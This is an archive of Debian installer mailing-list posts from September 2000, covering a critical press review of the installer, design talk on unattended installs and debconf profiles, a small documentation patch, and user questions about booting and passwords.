bad press at www.linuxworld.com
This is a pretty nasty review of the installer http://www.linuxworld.com/linuxworld/lw-2000-09/lw-09-vcontrol_2.html "I know. I can't be critical of Debian because it is an all-volunteer effort and all of the software used is pure, free, and unfettered. Sure, installing it may be a little harder than learning to speak fluent Manchurian in three weeks of summer school, but hey, it's no problem for a real geek, right? Wrong. The Debian install sucks. This distribution is supposed to be the poster child for free software; it should be on an FBI Most Wanted poster. It's horrible. It is the worst OS install I've ever seen. It may be great once it's installed, and APT may be the world's finest tool for adding and upgrading applications, patching the kernel, and keeping up with security issues. But I can't say -- I can't get that far." We may have a long way to go before please people at this level "the greatest victories are for the battles fought the hardest" - napolean -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
On Wed, Sep 13, 2000 at 09:07:09PM +0200, Massimo Dal Zotto wrote: I would like to have an initial menu with three options: 1. configuration 2. installation 3. auto-installation I suggest for an unattended installation that (3) not necessarily be menu-driven, because we need to have complete non-interactivity from power-on to production mode. It makes little sense to have one required keypress when you can get away with having none. Ideally the auto-installation should be completely non-interactive but it may ask the installation profile name and some vital information not supplied in the profile. The auto-installation could be started automatically with the proper boot option but from the user point of view I prefer that he has the possibility to start it from the initial menu. This is also much safer than running it automatically from the boot disk and possibly erasing by mistake a previous installation. In my opinion a typical usage could be: 1) configure the profiles for various machines, possibly on an installed system 2) on each target machine: boot the installer select the auto-installation option choose a stored profile and start the installation A second option would be starting it from the boot prompt: boot: auto-install PROFILE=workstation HOSTNAME=debian01 and in this case the initial menu should be skipped. Having both options is certainly better than having only one. -- Massimo Dal Zotto +--+ | Massimo Dal Zotto email: [EMAIL PROTECTED] | | Via Marconi, 141phone: ++39-0461534251 | | 38057 Pergine Valsugana (TN) www: http://www.cs.unitn.it/~dz/ | | Italy pgp: see my www home page | +--+ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
On Thu, Sep 14, 2000 at 09:33:10AM +0200, Massimo Dal Zotto wrote: The auto-installation could be started automatically with the proper boot option but from the user point of view I prefer that he has the possibility to start it from the initial menu. This is also much safer than running it automatically from the boot disk and possibly erasing by mistake a previous installation. You won't get any arguments from me re: flexibility. I just want to make sure that complete non-interactivity is an option, not necessarily at the expense of other options. -- Michael S. Fischer [EMAIL PROTECTED], AKA Otterley Lead Hacketeer, Dynamine Consulting, Silicon Valley, CA Phone: +1 650 533 4684 | AIM: IsThisOtterley | ICQ: 4218323 PGP key fingerprint: 53BD 4179 C3C6 DF0F A8D6 10E6 E1D9 7091 D330 F08D "From the bricks of shame is built the hope"--Alan Wilder -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
Massimo Dal Zotto wrote: In my slink automatic installer I used snarf to do network installation from http and ftp. It is quite small and works very well. I also wrote a cp-like command which can copy files and directories from a real filesystem path or a remote url. Very handy for install scripts since you don't have to know from what type of media you are installing. I recommend this approach. I think it's more or less identical to the retreiver approach. I would also suggest that all installer features could be called also as unix commands, i.e. no internal commands which can be use only from the C code. The only things I think we might want to use libraries for are installer UI's and hardware detection code. This ok, provided that the internal primitives can be used also from the unix prompt. -- Massimo Dal Zotto +--+ | Massimo Dal Zotto email: [EMAIL PROTECTED] | | Via Marconi, 141phone: ++39-0461534251 | | 38057 Pergine Valsugana (TN) www: http://www.cs.unitn.it/~dz/ | | Italy pgp: see my www home page | +--+ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
On Thu, 14 Sep 2000, Massimo Dal Zotto wrote: Ideally the auto-installation should be completely non-interactive but it may ask the installation profile name and some vital information not supplied in the profile. Completely non-interactive is an point. 2) on each target machine: boot the installer select the auto-installation option But please: Also some possibility, that you do not have to enter something there at all. (I do not have something against an option there, that you can switch von non-automated to automated, but please do not forget an fully automated) I want to be a able to sit on my server, ssh to an client, say: bootp (or whatver) this image of the base-installer you get from server A (perhaps even install.debian.org :-) using the database on server B, whithout needing to leave my seat and walk to the client! A second option would be starting it from the boot prompt: boot: auto-install PROFILE=workstation HOSTNAME=debian01 and in this case the initial menu should be skipped. Yes, like this way. But without the need of an bootprompt (But I think the env-variables could also be entered with some remote-booting tool, perhaps an remote-loadlin would be cool) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
Ben Collins [EMAIL PROTECTED] writes: On Wed, Sep 13, 2000 at 08:15:51PM -0700, Joey Hess wrote: Adam Di Carlo wrote: That's true, but a more generalized point is that more and more hardware (sparc, ultrasparc, powerpc, dunno about the rest) support openfirmware or openboot, and it's possible to traverse the openfirmware device tree with pretty damn good results. I don't think libdetect knows anything about openfirmware. Do you know of any hw detection code that does? Nope, but it would be nice to see such code. On the downside, most non-standard hardware supported by UltraSPARC Linux, doesn't have, nor need OpenPROM. If only Sun didn't require license/money/other crap for vendors to support their PROM :/ Sure, although any bootable device by definition will support it. Sparcs and powerpc also have PCI support for the most part -- maybe the focus should be just on PCI support. Then we could look at SBUS on older sparcs as a sideline? -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
On Thu, Sep 14, 2000 at 10:08:07AM -0400, Adam Di Carlo wrote: Ben Collins [EMAIL PROTECTED] writes: On Wed, Sep 13, 2000 at 08:15:51PM -0700, Joey Hess wrote: Adam Di Carlo wrote: That's true, but a more generalized point is that more and more hardware (sparc, ultrasparc, powerpc, dunno about the rest) support openfirmware or openboot, and it's possible to traverse the openfirmware device tree with pretty damn good results. I don't think libdetect knows anything about openfirmware. Do you know of any hw detection code that does? Nope, but it would be nice to see such code. On the downside, most non-standard hardware supported by UltraSPARC Linux, doesn't have, nor need OpenPROM. If only Sun didn't require license/money/other crap for vendors to support their PROM :/ Sure, although any bootable device by definition will support it. Sparcs and powerpc also have PCI support for the most part -- maybe the focus should be just on PCI support. Then we could look at SBUS on older sparcs as a sideline? Concentratin on PCI is the goal, IMO. SBUS device detection is overkill. -- ---===-=-==-=---==-=-- / Ben Collins -- ...on that fantastic voyage... -- Debian GNU/Linux \ ` [EMAIL PROTECTED] -- [EMAIL PROTECTED] -- [EMAIL PROTECTED] ' `---=--===-=-=-=-===-==---=--=---' -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
On 14 Sep 00, at 18:00, Glenn McGrath wrote: This is a pretty nasty review of the installer http://www.linuxworld.com/linuxworld/lw-2000-09/lw-09-vcontrol_2.html I must say I am not a novice but I am still a bit fresh in the linux- world. I have installed many distros and most of them are much easier (less steps) than debian but over all, it's fine. I am up and running -- a hit on the first pitch. Sure, some things are a bit confusing, especially the gpm stuff, and I had a problem with X but I realized somewhere the proper vid driver wasn't installed so I installed it with apt. Yeah, a pure novice won't get it. But let me tell you, I know a lot more of what my system is doing with debian because of the install than I did when I tried mandrake, redhat and the like. The install doesn't suck, though, if you do what debian says and a) backup everything and b)write down any and all information about your machine that you can (hardware, cpu, etc...). If yo do this, you will have no problem getting through the install and the end- result is well worth the wait. My $.02. Todd Todd Witter [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: preparing boot-floppies 2.2.17
Adam Di Carlo [EMAIL PROTECTED] wrote: adam Can you clue me on where the 2.2.17-1 vanilla and ide flavors are? adam I can't find them on auric, or in proposed updates. Brian Mays [EMAIL PROTECTED] writes: brian They are sitting in incoming on ftp-master.debian.org. My first brian attempt at an upload didn't have the orig.tar.gz file. adam The kernels are there? I don't see them. Sorry about the confusion. The kernels are already in proposed updates. The PCMCIA packages are still in incoming. adam Do you or Randolf generally build the -compact and -idepci pcmcia adam stuff? brian I do, but I wait until Randolf builds the kernel packages so that brian I can snarf the config files that he uses. adam Has he done so? No. He has not. - Brian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
boot-floppies/documentation
Hi, I just upgraded french transl. of install.sgml. Shouldn't link on line 72 point to url-upgrading; instead of url-release-notes; ? Here's a proposed patch for canonical file. Eric -- [EMAIL PROTECTED] http://www.eric.ath.cx Please don't send proprietary format documents, I can't (and don't want to) open them. Appreciated are open-source formats like .txt or .rtf. Dvi, ps or tex files are welcome. --- install.sgmlMon Aug 7 20:51:37 2000 +++ install.sgml.prop Thu Sep 14 17:30:20 2000 @@ -69,7 +69,7 @@ ![ %not-arm [ The procedures in this document are emnot/em to be used for users upgrading existing systems; if you are upgrading, see the -url id="url-release-notes;" name="Release Notes for Debian release;". +url id="url-upgrading;" name="Upgrade Instructions for Debian release;". ]] ]] /abstract
Floppy boot to Harddisk Boot
Hey list!
I have a question about booting into debian. During installation I
did not want to have lilo installed on the mbr. I chose to boot from
a floppy. I also run rh6.2 and win9x on this little machine. I boot
into redhat with a floppy and it goes lickity split! ("/" is mounted on
hda5). Right now "/" in debian is mounted on hda9. I used to have
stormix there but I overwrote it with debian potato. STormix, too,
booted up lickity split when I booted from a floppy. I can assume
that's because the kernel is already on the hard drive. Can I do the
same with debian? When I boot from a floppy it takes forever! I
know it's actually got the kernel (of sorts) on the floppy. What can
I do to change this? Can I have it on hda9? So, if I use the rescue
disk or whatever, I can simply do something like "kernel
root=/dev/ha9" at the "boot:" prompt? Or am I kind of stuck with the
slow/unreliable boot from a floppy?
Thanks in advance, gang!
Todd Witter
[EMAIL PROTECTED]
[EMAIL PROTECTED]
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
On 14-Sep-00, 02:58 (CDT), Joey Hess [EMAIL PROTECTED] wrote: If you ignore all of his nasty mudslinging, his gripes are the following: The boot-floppies: - Identify themselves as the debian rescue floppy which is certianly confusing if you don't read documentation. ^^^ Imagine my sympathy. This is someone passing himself off as a reviewer, but he can't be bothered to read the docs? Now, there are definitely places where the install could be improved, (this is news?), but I'm really tempted to ignore people who can't be bothered to read the owners manual. This is an operating system, not a toaster. Steve -- Steve Greenland [EMAIL PROTECTED] (Please do not CC me on mail sent to this list; I subscribe to and read every list I post to.) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
Well, I would be willing to agree with almost anyone who says that our install sucks. Almost every screen has some cryptic comment that makes sense to me, because I understand the context, but must be pure greek to anyone not so familiar. However, my biggest complaint has never been addressed as far as I can tell, and it is really hard to explain over the phone just why you are doing any of this: When installing from a CD, after picking the CD as the installation media, the install keeps asking you where to find the (rescue, drivers, or base) disks on your CD. None of these questions should ever be asked. I don't know whether you will find them in the default location or a list, and I certainly don't know how to specify it manually. The manual specification is even more problematical when the install scripts insist on tacking an additional path element to the one provided, and failing. Why should the user even be involved in any of these questions. It's on the CD. If the installation program doesn't find it in the "default" location (/instmnt/debian/dists/stable/main/disks-i386/current for the Intel install), then it should do a find on /instmnt, and only if it fails to find the desired files should it then tell the user that it can't find the desired files. Asking for the manual path to these files doesn't seem to be useful at all. If you can't find the files you need on the CD with find, then they just aren't there! Needless to say, you could put them somewhere else, but then you shouldn't have chosen cdrom as the installation method for these files! Anyway this is my current rant on boot disk issues. I've had to deal with several confused and frustrated users over this issue. It was even worse for one of the "pre-release stable" CDs where this feature didn't work no matter what you entered, and several people got "stuck" with these. On all those other screens where an option is available for some archane or out of date machine, just think SIMPLER IS BETTER. Fitting the install to all the possible archaic machines in existance is a design of deminishing returns on invested efforts. KISS (Keep It Simple Stupid) should apply at every opportunity. Luck, Dwarf -- _-_-_-_-_- Author of "The Debian Linux User's Guide" _-_-_-_-_-_- aka Dale Scheetz Phone: 1 (850) 656-9769 Flexible Software 11000 McCrackin Road e-mail: [EMAIL PROTECTED] Tallahassee, FL 32308 _-_-_-_-_-_- See www.linuxpress.com for more details _-_-_-_-_-_-_- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
FWD: mostly UI issues (Re: redesigning the debian installer)
I just realized this didn't go to debian-boot. Whoops. - Forwarded message from Joey Hess [EMAIL PROTECTED] - From: Joey Hess [EMAIL PROTECTED] Date: Wed, 13 Sep 2000 19:20:22 -0700 To: "Bernhard R. Link" [EMAIL PROTECTED] Subject: mostly UI issues (Re: redesigning the debian installer) Bernhard R. Link wrote: The install begins with a bootloader. It is unlikely that this will change significantly from what is used now. It would be very much convenient, if there would be a possibility to install if from an client over the network without the need of an boot-disk. I think it would be on of the most bottom parts of the todo-list, and it propably will not affect on the way the installation is done, but it would be nice to have it on the todo-list and have a short look on it to ensure, that it realy would work with the whole system. I said it would start with a bootloader, didn't specify what type of boot loader. :-) If we eventually want to add support for systems that can load by tftp or whatever, I don't really see how it's going to impact the design. After all, I haven't messed with the normal kernel boot process at all. After the kernel boots up, the first thing the user will see is whatever UI is being used, configuring itself. This is equivalent to the current installer asking if the screen supports color, and keyboard configuration. It might also include language selection, mouse setup, etc. All up the individual UI. How is determined which ui to use? Could it be (additionaly to other ways) be choosen with an Env-Var on the boot-up prompt. Or would there be only one ui in the system, and the person making the install-floppy/zip/cdrom choses which one to install? I can think of a few possibilities. As a degenerate case, if there is one UI, it will be used. If there are multiple UI's, they could prioritize themselves somehow, and each could be asked in turn to set itself up. If setup failed, fall back to the next UI. FWIW, perl debconf uses a similar method to pick between the UI's it can use, and it works quite well. I've added some stuff related to this to TODO in cvs. I like this way ver much, too, and personally would not like to use anything else. But I have seen people beeing disturbed and/or confused by that many freedom. It should either be well tested, that you come to an running system finally, when you wildly choose randomly. Or some question before, if you want an more direct way. (With std-answer no and an priority low enough. I don't think we can guarentee that one can feed random input into the installer and get a working install. That's a little ridiculous. On the other hand, there should be enough sanity checking that the install is not allowed to _complete_ until the random input happens to work. (Of course, they may just decide to reboot half way through.) And we can work as hard as we can to ensure that everything has a default answer that is as good as possible. The current debian installer really exemplifies this and shows it can be done, IMHO. Also, remember the little aside I wrote about making the menu be skippable so the install happens in a linear mode, with whatever would be the default menu item being picked each time. This will be hard. We will have to avoid loops that they can't break out of. I'm not sure yet if it will really be possible to do it robustly. I've been thinking about this some more, and I have came up with some places where my design breaks down. For example, suppose the menu includes: - partition a hard disk - format and mount partitions - install base system But it is not being displayed, the user is just being taken from step to step in linear mode. - The user partitions a hard disk, and makes some really dumb choices. - Partitions are formatted and mounted. - The base system fails to unpack, because they have a 1 mb /usr and a 5 gb /usr/local. Now we're in a situation where the first two steps think they have been completed satisfactoraly, and the third step knows its failing. We really need to back the user up. How can we do this? (I'd like to know how boot-floppies deal with this now, and I'll probably do some tests tomorrow to see, if nobody knows off the top of their head.) I think the user will get an debconf-frontend there, too, to ask the questions. I think it would be nice, if the kind of ui in the base-install could be committed to the full-install some kind. Yes, we will have a mechanism to pass stuff between the two debconf's. Probably just pass in the entire database we generated in the installer. This is already done to a very limited degree in the current boot-floppies, BTW. Each item in the list is provided by an installer module. To create the list item, a module must only drop a control file with a unique name into /usr/lib/debian-installer/menu/. The control file is rfc-822 format, and should have the following fields: Priority: a number, which
Re: FWD: mostly UI issues (Re: redesigning the debian installer)
I wrote: Also, remember the little aside I wrote about making the menu be skippable so the install happens in a linear mode, with whatever would be the default menu item being picked each time. This will be hard. We will have to avoid loops that they can't break out of. I'm not sure yet if it will really be possible to do it robustly. I've been thinking about this some more, and I have came up with some places where my design breaks down. For example, suppose the menu includes: - partition a hard disk - format and mount partitions - install base system But it is not being displayed, the user is just being taken from step to step in linear mode. - The user partitions a hard disk, and makes some really dumb choices. - Partitions are formatted and mounted. - The base system fails to unpack, because they have a 1 mb /usr and a 5 gb /usr/local. Now we're in a situation where the first two steps think they have been completed satisfactoraly, and the third step knows its failing. We really need to back the user up. How can we do this? (I'd like to know how boot-floppies deal with this now, and I'll probably do some tests tomorrow to see, if nobody knows off the top of their head.) Just tried this. It is indeed possible to make dbootstrap have "install os kernel and modules" as the next step in the menu, and nothing helpful as previous and alternate steps, and each time you pick the default it loops[1]. There's also no error message, so you have to guess that your partitioning is screwed up. I don't think this is a big problem in dinstall, though it could handle it better. If the new installer has the same problem, the effects will be: - In a normal install like dbootstrap's menu now, no different than with dbootstrap. - In an install in "linear mode", where there is no menu, an infinite loop, as the step keeps being run and failing. Yuck. - In a noninteractive install, the same thing as in linear mode. Although it would take some real effort to get through a normal install successfully, feed the recorded debconf data back into a new install, and have the new one fail. It could happen though. The linear mode case bothers me. Trying to think about how the installer could detect and fix it.. It could detect looping items[1]. The fix is always going to be to back the install process up to some previous item that went wrong, and let the user correct it. (If this isn't the fix, we're pretty well screwed.) The problem is figuring out what step to back up to. We could add a lot of code to each failure case of each step that figures out why it failed, and what step to go back to (ran out of disk space, go back to partitioning, etc). We could just jump all the way back to the very first step every time something goes wrong. Well it looks solvable but I don't like either of the solutions. Oh, if we're in linear mode and something goes wrong, we could simply leave linear mode. "You broke it, you fix it." -- see shy jo [1] I can do it by really messing up the disk partitions. I can also do it by configuring the network, unplugging my ethernet cable, and telling it to do a network install. [2] Would probably have to detect cycles of more than one item as well. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
Massimo Dal Zotto wrote: But if you want for example to install many similar machine from a cdrom how can you specify which machine (hostname, ip, etc.) you are installing without any prompting? DHCP (Buit I have no problem with allowing an automatic installation to be started manually. Another thing to keep in mind is that it would be possible to make the debconf db provided for an automatica installation include answers to every question _except_ the hostname. Then the install is automatic except you get to walk around and enter the hostname or whatever.) -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: FWD: mostly UI issues (Re: redesigning the debian installer)
[ People keep replying to me privately. I hope you don't mind that I'm replying to the list. ] Michael S. Fischer wrote: On Thu, Sep 14, 2000 at 01:02:22PM -0700, Joey Hess wrote: Oh, if we're in linear mode and something goes wrong, we could simply leave linear mode. "You broke it, you fix it." This is what Red Hat's kickstart procedure does--returns control to the user if an error occurs during the unattended installation. I think it's fine, provided good diagnostic information is available. Ok, I was wondering about this. Maybe an automatic install mode can deal with _some_ error conditions, but it does seem sometimes you just have to throw up your hands and scream for help. Or give up and say the install failed. And the latter seems a much better call. One of the things I really hate about Red Hat's installer, though, is that there's no way to escape to a shell during an installation if you're on the serial console. It does have shell-on-virtual-terminal support, which is all fine and dandy if you're on headed machine, but if you're headless, you're SOL. How does our installer handle this now? I've not had the opportunity to do a serial install of debian, ever. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: FWD: mostly UI issues (Re: redesigning the debian installer)
Joey Hess wrote: Ok, I was wondering about this. Maybe an automatic install mode can deal with _some_ error conditions, but it does seem sometimes you just have to throw up your hands and scream for help. Or give up and say the install failed. And the latter seems a much better call. Er, former, not latter. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: FWD: mostly UI issues (Re: redesigning the debian installer)
On Thu, Sep 14, 2000 at 01:24:55PM -0700, Joey Hess wrote: Ok, I was wondering about this. Maybe an automatic install mode can deal with _some_ error conditions, but it does seem sometimes you just have to throw up your hands and scream for help. Or give up and say the install failed. And the latter seems a much better call. Er, former, not latter. Agreed. It would be *especially* cool if the installer didn't abort entirely if, for example, a piece of required information was missing (for example, if someone forgot to put in the machine's DNS domain name). Instead, it would be nice if the installer paused to collect the information, and then resumed with the unattended installation. I'd say that's second priority to getting an unattended installation working, however. -- Michael S. Fischer [EMAIL PROTECTED], AKA Otterley Lead Hacketeer, Dynamine Consulting, Silicon Valley, CA Phone: +1 650 533 4684 | AIM: IsThisOtterley | ICQ: 4218323 PGP key fingerprint: 53BD 4179 C3C6 DF0F A8D6 10E6 E1D9 7091 D330 F08D "From the bricks of shame is built the hope"--Alan Wilder -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: FWD: mostly UI issues (Re: redesigning the debian installer)
Michael S. Fischer wrote: Agreed. It would be *especially* cool if the installer didn't abort entirely if, for example, a piece of required information was missing (for example, if someone forgot to put in the machine's DNS domain name). Instead, it would be nice if the installer paused to collect the information, and then resumed with the unattended installation. I'd say that's second priority to getting an unattended installation working, however. We should get it for free with debconf, as I mentioned in another message. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: debconf (Re: redesigning the debian installer)
Ok. It's theoretically possible to generate a debconf db by just pulling in every debconf question the installer can possibly ask, and then use some sort of a database browser/editor program to fill in answers. You're not really using debconf to do this mind you. Then you feed the doctored db to an install. Yes, but I would like to do it with debconf and then save the db instead or before using it for the installation. Good enough? Note that the db browser isn't written, but can be. It would run on a full linux system. I also suggest that we can merge more debconf databases during the installation step, for example a default profile with very general configurations, a class profile (home, workstation, server, firewall) and a host specific profile (hostname, ipaddr, keyboard, mouse, monitor). There's a whole unimplemented part of the debconf specification that deals with exactly this. It allows merging and overlaying databases. Someone should implement it. The same should be true for any config file. For example install a common /etc/export on all machines and a different version on a server. What I did in my installer is simply copying different file trees for different profiles and machines on the target root after the base system files are installed. Yes, but can we do this with the new bootfloppies? I'm not speaking about debconf here, but about the installation system which uses debconf. Can we save and load different pre-stored profiles? Given the respone on this list, I think it's a must. (And I was planning on supporting it anyway.) Saving: after the debian-installer installs the base system, it simply writes its debconf database to some place inside the newly installed system. Probably it writes it directly to the new system's debconf database. Loading: Move the data from the already installed system to each new install somehow, hopefully by the network, and with an option of just dropping a debconf db file onto the boot floppy. I was thinking something different. The stored profile should include not only the package questions but also the installer questions (keyboard, swap root partition, source location, etc.) and it should be possible to create one or more profile without actually installing any machine. Ideally this should be possible from the bootdisk or on an already installed system. The config browser should be able to load and save profile files like any normal application does. -- Massimo Dal Zotto +--+ | Massimo Dal Zotto email: [EMAIL PROTECTED] | | Via Marconi, 141phone: ++39-0461534251 | | 38057 Pergine Valsugana (TN) www: http://www.cs.unitn.it/~dz/ | | Italy pgp: see my www home page | +--+ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: debconf (Re: redesigning the debian installer)
On Thu, 14 Sep 2000, Joey Hess wrote: debconf here, but about the installation system which uses debconf. Can we save and load different pre-stored profiles? ... Loading: Move the data from the already installed system to each new install somehow, hopefully by the network, and with an option of just dropping a debconf db file onto the boot floppy. ...or a separate floppy, or non-linux partition someplace, ... later, Bruce -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: debconf (Re: redesigning the debian installer)
Massimo Dal Zotto wrote: I was thinking something different. The stored profile should include not only the package questions but also the installer questions (keyboard, swap root partition, source location, etc.) and it should be possible to create one or more profile without actually installing any machine. We seem to be talking past each other. If debconf is used for installation, the debconf database includes *all* questions, it doesn't matter if they were for the installer or a package. In the message you replied to, I talked about debconf databases can be created w/o installing a machine. And the way I discussed is the *only* way that a debconf database can be created w/o actually running through an install. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: debconf (Re: redesigning the debian installer)
On Thu, Sep 14, 2000 at 10:55:18PM +0200, Massimo Dal Zotto wrote: I was thinking something different. The stored profile should include not only the package questions but also the installer questions (keyboard, swap root partition, source location, etc.) and it should be possible to create one or more profile without actually installing any machine. Ideally this should be possible from the bootdisk or on an already installed system. The config browser should be able to load and save profile files like any normal application does. Seconded. -- Michael S. Fischer [EMAIL PROTECTED], AKA Otterley Lead Hacketeer, Dynamine Consulting, Silicon Valley, CA Phone: +1 650 533 4684 | AIM: IsThisOtterley | ICQ: 4218323 PGP key fingerprint: 53BD 4179 C3C6 DF0F A8D6 10E6 E1D9 7091 D330 F08D "From the bricks of shame is built the hope"--Alan Wilder -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: FWD: mostly UI issues (Re: redesigning the debian installer)
On Thu, 14 Sep 2000, Joey Hess wrote: The linear mode case bothers me. Trying to think about how the installer could detect and fix it.. It could detect looping items[1]. The fix is always going to be to back the install process up to some previous item that went wrong, and let the user correct it. (If this isn't the fix, we're pretty well screwed.) The problem is figuring out what step to back up to. We could add a lot of code to each failure case of each step that figures out why it failed, and what step to go back to (ran out of disk space, go back to partitioning, etc). We could just jump all the way back to the very first step every time something goes wrong. Well it looks solvable but I don't like either of the solutions. Oh, if we're in linear mode and something goes wrong, we could simply leave linear mode. "You broke it, you fix it." I think a reasonable solution is to devote some time to doing a sanity check on the debconf DB, instead of blindly doing what is indicated and trying to catch an error after it has occurred. e.g., If every package (normal or installation module) has an Installed-Size, the DB builder can check to make sure everything will fit in the allocated space. Devices that specify IO ports, IRQs, etc. can be checked for resource conflicts. etc. This will not eliminate all the problems, or obviate the need for a robust installer, but it should catch the really silly errors before they become a problem. IMO... A non-integral part of the installation process should be where the user defines what the system will consist of. The DB generated should be checked for consistency and the md5sum of the file containing the DB should be stored someplace, when the installer fires up it should check the md5sum and re-verify its consistency of the DB if they don't match. If it is not possible to re-verify the DB (can't load the module that does the checking or some required external info is unavailable) the user should be warned of that fact and either the installation proceed as normal (unless the DB contains a flag that specifies the installation should not proceed without a verified-for-consistency-DB) or the user be given a chance to redefine what is in the DB. Since it may be possible to have the DB spread out over many files in different locations, the consistency check would need to be performed by debconf on the results of concatenating and/or overlaying all the pieces. This scheme is not bulletproof, but I think it is a step in the right direction. later, Bruce -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
Joey Hess [EMAIL PROTECTED] writes: I never said this was a complete design yet. You're right, these are all gaping holes: Yeah -- I wasn't trying to deprecate your work but cast my net a little wider, since there are a lot of blue sky / wishlist stuff floating around. I think the code that works best is the code that keeps it simple. - A module's maintainer decides it needs one of these things (a configured network, say). - They make the module depend on an appropriate virtual package (configured-network). - Before the module is used, the system makes sure its dependencies are met, and that the modules that satisfy those dependencies are configured (so the network is configured, but first hardware support for it is set up). (I need to change how the main menu works a little bit, come to think of it. More on this soon.) So this is all micro-dpkg stuff, using Depends/Provides ? Clearly you're going to need to arbitrate a set of virtual package names for the fundmentals, such as "configured-network". How does this work with attempting to configure your targetted media, i.e., IDE, SCSI, NFSRoot, PCMCIA IDE device -- "configured-boot-media" and "configured-target-media" virtual pkgs ? And "configured-installation-media" is where we're installing from, provided by "install-from-cdrom", "install-from-http", etc.? So the installer basically proceeds through installation steps, which is a process of installing more and more packages, perhaps leading to an overarching completed installation of "installed-debian" ?? Thus it knows that it's time to install "configured-target-media" so it tries to fullfill that dependancy, presenting the user with all the possible micro-pkgs which fulfill that? This is starting to make my head spin. Are you sure we're not overdesigning/overabstracting a bit? My point is that these various classes of modules don't need to be specified in much detail. I don't care how a network configuration module works, or what programs it installs where, as long as once it is set up, there is a configured network. Sure. Of course, that's just in general -- we do need to think about each of these classes of modules and find the little details that need to be specified. Well, I wouldn't underestimate it. I mean, "configured-network" does would have to be a standardized virt pkg name, it would have to have a documented/specified list of things it's expected to do, etc. Would "configured-network" only be required for any pkg which wants to install over the network (such as installing from http, or in the later stages, running apt with http/ftp sources) ? I wish we could share more, it's really silly we all go off and write our own installers. Um. Er. Well, as much work as it is, it would be more risky and harder to try to mediate one installer used by all distros. Right that's doable easily (trivial to map debconf db to 822-format) and will work fine. Or there is this mythical debconf remote database stuff that maybe one day someone will actually write. Please try to keep it simple. I don't want to have to maintain a woody boot-floppies. :) -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: one question, one small problem
[EMAIL PROTECTED] writes: 1.) it seems that debian (or the install program) won't accept certain characters for passwords -- namely '\'... (i chose passswords with those in them, and then found that I was unable to login later.. ) Eh? Confirm that -- if you can confirm it, then file a bug on base-config. 2.) Is there a way to put /usr on a different partition? Yes. Just format another partition -- it will ask you where to put it. Should work, or file a big fat bug if not. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
